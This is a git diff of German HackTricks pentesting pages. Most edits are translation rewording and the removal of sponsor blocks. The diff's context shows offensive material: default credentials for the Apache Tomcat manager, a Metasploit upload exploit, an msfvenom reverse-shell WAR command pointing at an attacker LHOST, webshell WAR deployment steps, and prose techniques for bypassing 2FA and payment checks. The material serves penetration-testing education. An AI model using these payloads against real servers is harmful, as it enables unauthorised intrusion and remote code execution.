* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Entdeckung
|
||||
## Discovery
|
||||
|
||||
* Es läuft normalerweise auf **Port 8080**
|
||||
* **Häufiger Tomcat-Fehler:**
|
||||
|
@ -40,11 +32,11 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
```
|
||||
Dies wird nach dem Begriff "Tomcat" auf der Dokumentationsindexseite suchen und die Version im Titel-Tag der HTML-Antwort offenbaren.
|
||||
|
||||
### **Standorte der Manager-Dateien**
|
||||
### **Standort der Manager-Dateien**
|
||||
|
||||
Die genauen Standorte der **`/manager`** und **`/host-manager`** Verzeichnisse zu identifizieren, ist entscheidend, da ihre Namen möglicherweise geändert werden. Eine Brute-Force-Suche wird empfohlen, um diese Seiten zu finden.
|
||||
|
||||
### **Benutzername Enumeration**
|
||||
### **Benutzernamen-Enumeration**
|
||||
|
||||
Für Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durch:
|
||||
```bash
|
||||
|
@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```
|
||||
### **Standardanmeldeinformationen**
|
||||
|
||||
Das **`/manager/html`** Verzeichnis ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei gängige Anmeldeinformationen sind:
|
||||
Das **`/manager/html`** Verzeichnis ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei häufige Anmeldeinformationen sind:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -89,7 +81,7 @@ Um auf die Verwaltungswebseite von Tomcat zuzugreifen, gehen Sie zu: `pathTomcat
|
|||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat Versionen 4.x bis 7.x enthalten Beispielskripte, die anfällig für Informationsoffenlegung und Cross-Site-Scripting (XSS)-Angriffe sind. Diese Skripte, die umfassend aufgelistet sind, sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Finden Sie [hier mehr Informationen](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcat Versionen 4.x bis 7.x enthalten Beispielskripte, die anfällig für Informationslecks und Cross-Site-Scripting (XSS)-Angriffe sind. Diese Skripte, die umfassend aufgelistet sind, sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Finden Sie [hier weitere Informationen](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -128,7 +120,7 @@ Schließlich, wenn Sie Zugriff auf den Tomcat Web Application Manager haben, kö
|
|||
|
||||
### Limitations
|
||||
|
||||
Sie können eine WAR-Datei nur bereitstellen, wenn Sie **ausreichende Berechtigungen** (Rollen: **admin**, **manager** und **manager-script**) haben. Diese Details finden Sie normalerweise in _tomcat-users.xml_, die in `/usr/share/tomcat9/etc/tomcat-users.xml` definiert ist (es variiert zwischen den Versionen) (siehe [POST ](tomcat.md#post)section).
|
||||
Sie können eine WAR nur bereitstellen, wenn Sie **ausreichende Berechtigungen** (Rollen: **admin**, **manager** und **manager-script**) haben. Diese Details finden Sie normalerweise in _tomcat-users.xml_, das in `/usr/share/tomcat9/etc/tomcat-users.xml` definiert ist (es variiert zwischen den Versionen) (siehe [POST ](tomcat.md#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -149,7 +141,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```
|
||||
### MSFVenom Reverse Shell
|
||||
|
||||
1. Erstellen Sie die zu deployende WAR-Datei:
|
||||
1. Erstellen Sie die WAR-Datei zum Bereitstellen:
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
@ -208,7 +200,7 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Du könntest auch dies installieren (erlaubt Upload, Download und Befehlsausführung): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
Du könntest dies auch installieren (ermöglicht Upload, Download und Befehlsausführung): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Manuelle Methode 2
|
||||
|
||||
|
@ -239,23 +231,17 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# Tomcat
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Entdeckung
|
||||
|
||||
* Es läuft normalerweise auf **Port 8080**
|
||||
|
@ -46,13 +38,13 @@ Die genauen Standorte der **`/manager`** und **`/host-manager`** Verzeichnisse z
|
|||
|
||||
### **Benutzername Enumeration**
|
||||
|
||||
Für Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durch:
|
||||
Für Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durch folgende Methoden zu enumerieren:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Standardanmeldeinformationen**
|
||||
|
||||
Das **`/manager/html`** Verzeichnis ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei gängige Anmeldeinformationen sind:
|
||||
Das **`/manager/html`** Verzeichnis ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei häufige Anmeldeinformationen sind:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -89,7 +81,7 @@ Um auf die Verwaltungswebseite von Tomcat zuzugreifen, gehen Sie zu: `pathTomcat
|
|||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat Versionen 4.x bis 7.x enthalten Beispielskripte, die anfällig für Informationsoffenlegung und Cross-Site-Scripting (XSS)-Angriffe sind. Diese Skripte, die umfassend aufgelistet sind, sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Finden Sie [weitere Informationen hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcat Versionen 4.x bis 7.x enthalten Beispielskripte, die anfällig für Informationslecks und Cross-Site-Scripting (XSS)-Angriffe sind. Diese Skripte, die umfassend aufgelistet sind, sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Finden Sie [hier mehr Informationen](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -124,11 +116,11 @@ Sie könnten also beispielsweise in der Lage sein, die **Tomcat-Manager**-Seite
|
|||
|
||||
## RCE
|
||||
|
||||
Schließlich, wenn Sie Zugriff auf den Tomcat Web Application Manager haben, können Sie **eine .war-Datei hochladen und bereitstellen (Code ausführen)**.
|
||||
Schließlich, wenn Sie Zugriff auf den Tomcat Web Application Manager haben, können Sie eine **.war-Datei hochladen und bereitstellen (Code ausführen)**.
|
||||
|
||||
### Limitations
|
||||
|
||||
Sie können eine WAR nur bereitstellen, wenn Sie **ausreichende Berechtigungen** (Rollen: **admin**, **manager** und **manager-script**) haben. Diese Details finden Sie normalerweise in _tomcat-users.xml_, die in `/usr/share/tomcat9/etc/tomcat-users.xml` definiert ist (es variiert zwischen den Versionen) (siehe [POST ](./#post)section).
|
||||
Sie können eine WAR nur bereitstellen, wenn Sie **genug Berechtigungen** (Rollen: **admin**, **manager** und **manager-script**) haben. Diese Details finden Sie normalerweise in _tomcat-users.xml_, die in `/usr/share/tomcat9/etc/tomcat-users.xml` definiert ist (es variiert zwischen den Versionen) (siehe [POST ](./#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -208,7 +200,7 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Du könntest auch dies installieren (ermöglicht Upload, Download und Befehlsausführung): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
Du könntest dies auch installieren (ermöglicht Upload, Download und Befehlsausführung): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Manuelle Methode 2
|
||||
|
||||
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -255,7 +242,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
### Vermeiden Sie das Ausführen mit Root
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Vermeiden Sie es, mit root zu laufen
|
||||
|
||||
Um zu vermeiden, dass Tomcat mit root läuft, ist eine sehr gängige Konfiguration, einen Apache-Server auf Port 80/443 einzurichten und, wenn der angeforderte Pfad mit einem Regexp übereinstimmt, die Anfrage an Tomcat zu senden, der auf einem anderen Port läuft.
|
||||
Um Tomcat nicht mit Root auszuführen, ist eine sehr gängige Konfiguration, einen Apache-Server auf Port 80/443 einzurichten und, wenn der angeforderte Pfad mit einem Regexp übereinstimmt, die Anfrage an Tomcat zu senden, der auf einem anderen Port läuft.
|
||||
|
||||
### Standardstruktur
|
||||
```
|
||||
|
@ -105,7 +97,7 @@ Als Nächstes wird eine neue Servlet-Zuordnung erstellt, um **Anfragen an `/admi
|
|||
|
||||
### tomcat-users
|
||||
|
||||
Die **`tomcat-users.xml`**-Datei wird verwendet, um den Zugriff auf die **`/manager` und `host-manager`-Adminseiten** zu **erlauben** oder zu verweigern.
|
||||
Die **`tomcat-users.xml`**-Datei wird verwendet, um den Zugriff auf die **`/manager` und `host-manager` Admin-Seiten** zu **erlauben** oder zu verweigern.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -148,15 +140,10 @@ will also need to set the passwords to something appropriate.
|
|||
```
|
||||
Die Datei zeigt uns, auf was jede der Rollen `manager-gui`, `manager-script`, `manager-jmx` und `manager-status` Zugriff gewährt. In diesem Beispiel sehen wir, dass ein Benutzer `tomcat` mit dem Passwort `tomcat` die Rolle `manager-gui` hat, und ein zweites schwaches Passwort `admin` für das Benutzerkonto `admin` festgelegt ist.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -164,7 +151,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,21 +15,8 @@ Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontenübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Erweiterte Techniken zum Umgehen der Zwei-Faktor-Authentifizierung**
|
||||
## **Techniken zum Umgehen der erweiterten Zwei-Faktor-Authentifizierung**
|
||||
|
||||
### **Direkter Zugriff auf Endpunkte**
|
||||
|
||||
|
@ -53,7 +40,7 @@ Die Verwendung des **E-Mail-Bestätigungslinks, der bei der Kontoerstellung gese
|
|||
|
||||
### **Sitzungsmanipulation**
|
||||
|
||||
Das Initiieren von Sitzungen sowohl für das Konto des Benutzers als auch für das Konto eines Opfers und das Abschließen von 2FA für das Konto des Benutzers, ohne fortzufahren, ermöglicht den Versuch, auf den nächsten Schritt im Ablauf des Opfers zuzugreifen und die Einschränkungen des Backend-Sitzungsmanagements auszunutzen.
|
||||
Das Initiieren von Sitzungen sowohl für das Benutzer- als auch für das Opferkonto und das Abschließen von 2FA für das Benutzerkonto, ohne fortzufahren, ermöglicht den Versuch, auf den nächsten Schritt im Fluss des Opferkontos zuzugreifen, indem die Einschränkungen des Backend-Sitzungsmanagements ausgenutzt werden.
|
||||
|
||||
### **Passwortzurücksetzmechanismus**
|
||||
|
||||
|
@ -91,7 +78,7 @@ Ratenbegrenzungen können Login-Versuche schützen, jedoch nicht interne Kontena
|
|||
|
||||
#### **Unendliche OTP-Regeneration**
|
||||
|
||||
Endlose OTP-Generierung mit einfachen Codes ermöglicht Brute-Force durch das Wiederholen einer kleinen Menge von Codes.
|
||||
Endlose OTP-Generierung mit einfachen Codes ermöglicht Brute-Force, indem eine kleine Menge von Codes erneut versucht wird.
|
||||
|
||||
### **Ausnutzung von Race Conditions**
|
||||
|
||||
|
@ -99,7 +86,7 @@ Die Ausnutzung von Race Conditions zum Umgehen von 2FA kann in einem bestimmten
|
|||
|
||||
### **CSRF/Clickjacking-Schwachstellen**
|
||||
|
||||
Die Untersuchung von CSRF- oder Clickjacking-Schwachstellen, um 2FA zu deaktivieren, ist eine praktikable Strategie.
|
||||
Die Untersuchung von CSRF- oder Clickjacking-Schwachstellen zur Deaktivierung von 2FA ist eine praktikable Strategie.
|
||||
|
||||
### **Ausnutzung der "Erinnere mich"-Funktion**
|
||||
|
||||
|
@ -111,7 +98,7 @@ Das Erraten des Wertes des "Erinnere mich"-Cookies kann Einschränkungen umgehen
|
|||
|
||||
Die Simulation der IP-Adresse des Opfers über den **X-Forwarded-For**-Header kann Einschränkungen umgehen.
|
||||
|
||||
### **Verwendung älterer Versionen**
|
||||
### **Nutzung älterer Versionen**
|
||||
|
||||
#### **Subdomains**
|
||||
|
||||
|
@ -123,7 +110,7 @@ Das Testen von Subdomains kann veraltete Versionen verwenden, die keine 2FA-Unte
|
|||
|
||||
### **Umgang mit vorherigen Sitzungen**
|
||||
|
||||
Das Beenden bestehender Sitzungen bei Aktivierung von 2FA sichert Konten gegen unbefugten Zugriff aus kompromittierten Sitzungen.
|
||||
Das Beenden bestehender Sitzungen bei Aktivierung von 2FA schützt Konten vor unbefugtem Zugriff durch kompromittierte Sitzungen.
|
||||
|
||||
### **Zugriffskontrollfehler mit Backup-Codes**
|
||||
|
||||
|
@ -139,11 +126,11 @@ Ein Prozess, der eine potenzielle Umgehungsmethode demonstriert, umfasst die Kon
|
|||
|
||||
### **Täuschungsanfragen**
|
||||
|
||||
Die Nutzung von Täuschungsanfragen, um Brute-Force-Versuche zu verschleiern oder Ratenbegrenzungsmechanismen in die Irre zu führen, fügt eine weitere Ebene zu Umgehungsstrategien hinzu. Das Erstellen solcher Anfragen erfordert ein nuanciertes Verständnis der Sicherheitsmaßnahmen und Ratenbegrenzungsverhalten der Anwendung.
|
||||
Die Nutzung von Täuschungsanfragen zur Verschleierung von Brute-Force-Versuchen oder zur Irreführung von Ratenbegrenzungsmechanismen fügt eine weitere Ebene zu Umgehungsstrategien hinzu. Das Erstellen solcher Anfragen erfordert ein nuanciertes Verständnis der Sicherheitsmaßnahmen und Ratenbegrenzungsverhalten der Anwendung.
|
||||
|
||||
### OTP-Konstruktionsfehler
|
||||
|
||||
Falls das OTP auf Daten basiert, die der Benutzer bereits hat oder die vorher gesendet werden, um das OTP zu erstellen, ist es möglich, dass der Benutzer es ebenfalls generieren und umgehen kann.
|
||||
Falls das OTP auf Daten basiert, die der Benutzer bereits hat oder die zuvor gesendet wurden, um das OTP zu erstellen, ist es möglich, dass der Benutzer es ebenfalls generieren und umgehen kann.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -151,17 +138,6 @@ Falls das OTP auf Daten basiert, die der Benutzer bereits hat oder die vorher ge
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontenübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Payment Bypass Techniques
|
||||
|
||||
### Request Interception
|
||||
|
@ -47,18 +39,12 @@ Wenn du auf einen Parameter stößt, der eine URL enthält, insbesondere eine, d
|
|||
2. **Ändere Cookie-Werte**: Ändere die in den Cookies gespeicherten Werte und beobachte, wie sich die Antwort oder das Verhalten der Website ändert.
|
||||
|
||||
### Session Hijacking
|
||||
1. **Session Tokens**: Wenn im Zahlungsprozess Session-Tokens verwendet werden, versuche, sie zu erfassen und zu manipulieren. Dies könnte Einblicke in Schwachstellen im Sitzungsmanagement geben.
|
||||
1. **Session Tokens**: Wenn Session-Token im Zahlungsprozess verwendet werden, versuche, sie zu erfassen und zu manipulieren. Dies könnte Einblicke in Schwachstellen im Sitzungsmanagement geben.
|
||||
|
||||
### Response Tampering
|
||||
1. **Intercept Responses**: Verwende Tools, um die Antworten vom Server abzufangen und zu analysieren. Achte auf Daten, die auf eine erfolgreiche Transaktion hinweisen oder die nächsten Schritte im Zahlungsprozess offenbaren könnten.
|
||||
2. **Modify Responses**: Versuche, die Antworten zu ändern, bevor sie vom Browser oder der Anwendung verarbeitet werden, um ein Szenario für eine erfolgreiche Transaktion zu simulieren.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -32,7 +32,7 @@ Um das **Captcha** während des **Servertests** zu **umgehen** und Benutzerinter
|
|||
3. **Automatisierung und Erkennung**:
|
